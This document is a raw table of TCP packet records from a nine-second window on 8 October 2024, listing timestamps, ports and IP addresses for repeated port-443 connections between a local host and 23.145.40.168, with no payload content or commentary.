Oct 8, 2024 03:15:19.556767941 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.556828022 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.556886911 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.556901932 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.602463007 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.602473021 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.644282103 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.644392014 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.644402981 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.645226002 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.645260096 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.645296097 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.645303011 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.645312071 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.645317078 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.645339012 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.681180954 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.681269884 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.681278944 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.681286097 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.681332111 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.681339025 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.681711912 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.712778091 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.712810040 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.712867975 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.712919950 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.712927103 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.731705904 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.731739044 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.731789112 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.731801987 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.731832981 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.732644081 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.732711077 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.732748032 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.732757092 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.732775927 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.734019041 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.734086037 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.734093904 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.743705034 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.743782043 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.743791103 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.768709898 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.768799067 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.768809080 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.782097101 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.782129049 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.782188892 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.782198906 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.782237053 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.782242060 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.782279015 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.782286882 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.800384045 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.800445080 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.800460100 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.800471067 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.800498009 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.801064968 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.801111937 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.801132917 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.801142931 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.801153898 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.819657087 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.819742918 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.819751978 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.820736885 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.820787907 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.820804119 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.820811033 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.820832968 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.821614027 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.821683884 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.821691990 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.830743074 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.830836058 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.830847979 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.831655979 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.831742048 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.831748962 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.832283020 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.832348108 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.832355022 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.856534958 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.856726885 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.856736898 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.856765032 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.856825113 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.856831074 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.856837034 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.856874943 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.856884003 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.857534885 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.857539892 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.869776011 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.869935989 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.869954109 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.870037079 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.870100975 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.870107889 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.889597893 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.889684916 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.889693022 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.889813900 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.889950037 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.889972925 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.889980078 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.890019894 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.890038013 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.890058994 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.890094042 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.908730030 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.908822060 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.908829927 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.908927917 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.908951044 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.909112930 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.909112930 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.909121037 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.909147978 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.909208059 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.909214020 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.910273075 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.910339117 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.910346985 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.911478996 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.911545038 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.911550999 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.911775112 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.911840916 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.911848068 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.918966055 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.919053078 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.919081926 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.919198990 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.919266939 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.919276953 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.920021057 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.920090914 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.920099020 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.943692923 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.943886042 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.944052935 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.944082022 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.944082022 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.944099903 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.944108963 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:20.332346916 CEST	49924	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:20.332395077 CEST	443	49924	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:20.332459927 CEST	49924	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:20.332747936 CEST	49924	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:20.332767963 CEST	443	49924	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:20.933151960 CEST	443	49924	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:20.933216095 CEST	49924	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:20.938443899 CEST	49924	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:20.938457966 CEST	443	49924	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:20.938777924 CEST	443	49924	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:20.940169096 CEST	49924	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:20.940191984 CEST	49924	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:20.940201044 CEST	443	49924	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:21.301358938 CEST	443	49924	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:21.301502943 CEST	443	49924	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:21.301526070 CEST	49924	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:21.301527023 CEST	49924	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:21.301614046 CEST	443	49924	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:21.301655054 CEST	49924	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:21.301671028 CEST	443	49924	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:21.303986073 CEST	49935	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:21.304027081 CEST	443	49935	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:21.304092884 CEST	49935	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:21.304286003 CEST	49935	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:21.304296970 CEST	443	49935	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:21.920099974 CEST	443	49935	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:21.920176029 CEST	49935	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:21.922347069 CEST	49935	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:21.922360897 CEST	443	49935	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:21.923212051 CEST	443	49935	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:21.923804045 CEST	49935	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:21.923844099 CEST	49935	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:21.923858881 CEST	443	49935	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:22.202485085 CEST	443	49935	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:22.202630043 CEST	443	49935	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:22.202701092 CEST	49935	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:22.202780962 CEST	49935	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:22.202815056 CEST	443	49935	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:22.202841043 CEST	49935	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:22.202857018 CEST	443	49935	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:22.210870028 CEST	49941	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:22.210952997 CEST	443	49941	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:22.211038113 CEST	49941	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:22.211258888 CEST	49941	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:22.211282015 CEST	443	49941	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:22.508927107 CEST	49941	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:22.515084982 CEST	49942	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:22.515146971 CEST	443	49942	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:22.515304089 CEST	49942	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:22.515520096 CEST	49942	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:22.515537024 CEST	443	49942	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:23.124903917 CEST	443	49942	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:23.125060081 CEST	49942	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:23.126300097 CEST	49942	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:23.126329899 CEST	443	49942	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:23.126676083 CEST	443	49942	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:23.127643108 CEST	49942	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:23.127643108 CEST	49942	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:23.127686977 CEST	443	49942	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:23.407255888 CEST	443	49942	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:23.407419920 CEST	49942	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:23.407480001 CEST	443	49942	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:23.407529116 CEST	443	49942	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:23.407530069 CEST	49942	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:23.407568932 CEST	443	49942	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:23.410034895 CEST	49951	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:23.410048962 CEST	443	49951	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:23.410502911 CEST	49951	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:23.410742998 CEST	49951	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:23.410753012 CEST	443	49951	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:24.004352093 CEST	443	49951	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:24.004424095 CEST	49951	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:24.005439997 CEST	49951	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:24.005446911 CEST	443	49951	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:24.006197929 CEST	443	49951	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:24.006834030 CEST	49951	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:24.006910086 CEST	49951	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:24.006915092 CEST	443	49951	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:24.284184933 CEST	443	49951	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:24.284320116 CEST	443	49951	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:24.284358978 CEST	49951	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:24.284388065 CEST	443	49951	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:24.284399986 CEST	49951	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:24.284399986 CEST	49951	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:24.284405947 CEST	443	49951	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:24.284413099 CEST	443	49951	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:24.287772894 CEST	49959	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:24.287857056 CEST	443	49959	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:24.288054943 CEST	49959	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:24.288265944 CEST	49959	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:24.288300037 CEST	443	49959	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:24.896055937 CEST	443	49959	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:24.896214962 CEST	49959	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:24.897034883 CEST	49959	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:24.897063971 CEST	443	49959	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:24.898102045 CEST	443	49959	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:24.904417038 CEST	49959	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:24.904417038 CEST	49959	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:24.904455900 CEST	443	49959	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:25.174679995 CEST	443	49959	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:25.175061941 CEST	443	49959	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:25.175074100 CEST	49959	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:25.175074100 CEST	49959	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:25.175163984 CEST	443	49959	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:25.175209045 CEST	49959	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:25.175225973 CEST	443	49959	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:25.181016922 CEST	49965	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:25.181098938 CEST	443	49965	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:25.181245089 CEST	49965	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:25.181513071 CEST	49965	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:25.181545973 CEST	443	49965	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:25.809046030 CEST	443	49965	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:25.809230089 CEST	49965	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:25.812314987 CEST	49965	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:25.812369108 CEST	443	49965	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:25.813285112 CEST	443	49965	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:25.814208984 CEST	49965	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:25.814209938 CEST	49965	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:25.814308882 CEST	443	49965	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:26.096117973 CEST	443	49965	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:26.096239090 CEST	443	49965	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:26.096427917 CEST	49965	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:26.096429110 CEST	49965	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:26.096429110 CEST	49965	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:26.096513033 CEST	443	49965	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:26.098939896 CEST	49971	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:26.099029064 CEST	443	49971	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:26.099097013 CEST	49971	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:26.099317074 CEST	49971	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:26.099337101 CEST	443	49971	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:26.399452925 CEST	49965	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:26.399514914 CEST	443	49965	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:26.713082075 CEST	443	49971	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:26.713166952 CEST	49971	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:26.717621088 CEST	49971	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:26.717633963 CEST	443	49971	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:26.718147039 CEST	443	49971	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:26.719012022 CEST	49971	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:26.719052076 CEST	49971	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:26.719067097 CEST	443	49971	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:27.035473108 CEST	443	49971	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:27.035613060 CEST	443	49971	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:27.035624981 CEST	49971	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:27.035666943 CEST	443	49971	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:27.035681963 CEST	49971	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:27.035681963 CEST	49971	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:27.035691023 CEST	443	49971	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:27.035701036 CEST	443	49971	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:27.038368940 CEST	49977	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:27.038455963 CEST	443	49977	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:27.038578033 CEST	49977	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:27.038847923 CEST	49977	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:27.038870096 CEST	443	49977	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:27.634516001 CEST	443	49977	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:27.634619951 CEST	49977	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:27.635587931 CEST	49977	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:27.635617018 CEST	443	49977	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:27.636027098 CEST	443	49977	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:27.641948938 CEST	49977	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:27.641988993 CEST	49977	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:27.642004967 CEST	443	49977	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:27.919873953 CEST	443	49977	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:27.919930935 CEST	443	49977	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:27.920073986 CEST	49977	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:27.920150995 CEST	49977	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:27.920182943 CEST	443	49977	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:27.920218945 CEST	49977	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:27.920231104 CEST	443	49977	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:27.976610899 CEST	49983	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:27.976696014 CEST	443	49983	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:27.977385998 CEST	49983	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:27.977762938 CEST	49983	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:27.977839947 CEST	443	49983	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:28.575962067 CEST	443	49983	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:28.576163054 CEST	49983	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:28.577634096 CEST	49983	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:28.577687979 CEST	443	49983	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:28.578737020 CEST	443	49983	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:28.579374075 CEST	49983	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:28.579374075 CEST	49983	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:28.579416037 CEST	443	49983	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:28.860124111 CEST	443	49983	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:28.860260963 CEST	443	49983	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:28.860512018 CEST	49983	443	192.168.2.4	23.145.40.168
